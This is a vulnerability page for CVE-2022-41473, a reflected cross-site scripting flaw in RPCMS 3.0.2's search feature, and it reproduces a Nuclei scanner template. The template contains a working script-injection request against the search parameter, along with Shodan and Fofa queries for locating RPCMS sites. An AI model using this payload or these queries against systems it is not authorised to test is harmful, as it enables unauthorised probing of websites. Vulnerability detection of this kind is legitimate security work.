CVE-2022-41473: RPCMS 3.0.2 - Cross-Site Scripting

2025-08-01 RPCMS 3.0.2 PoC Public

Description

RPCMS 3.0.2 contains a cross-site scripting vulnerability in the Search function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2022-41473

info:
  name: RPCMS 3.0.2 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    RPCMS 3.0.2 contains a cross-site scripting vulnerability in the Search function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the website.
  remediation: |
    Apply the latest security patch or upgrade to a newer version of RPCMS to mitigate the XSS vulnerability.
  reference:
    - https://github.com/ralap-z/rpcms/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2022-41473
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-41473
    cwe-id: CWE-79
    epss-score: 0.01054
    epss-percentile: 0.627
    cpe: cpe:2.3:a:rpcms:rpcms:3.0.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: rpcms
    product: rpcms
    shodan-query:
      - http.html:"RPCMS"
      - http.html:"rpcms"
    fofa-query: body="rpcms"
  tags: cve,cve2022,rpcms,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/search/?q=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'rpcms'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210085b1da1b9f307eb4d84efb949658e8001eda6a11b85a03523b944ff383e381ce022065980061122a903242d4cfd2b4c80474a424ed3f3413a27e711e7612f1a5b28c:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-41473.yaml

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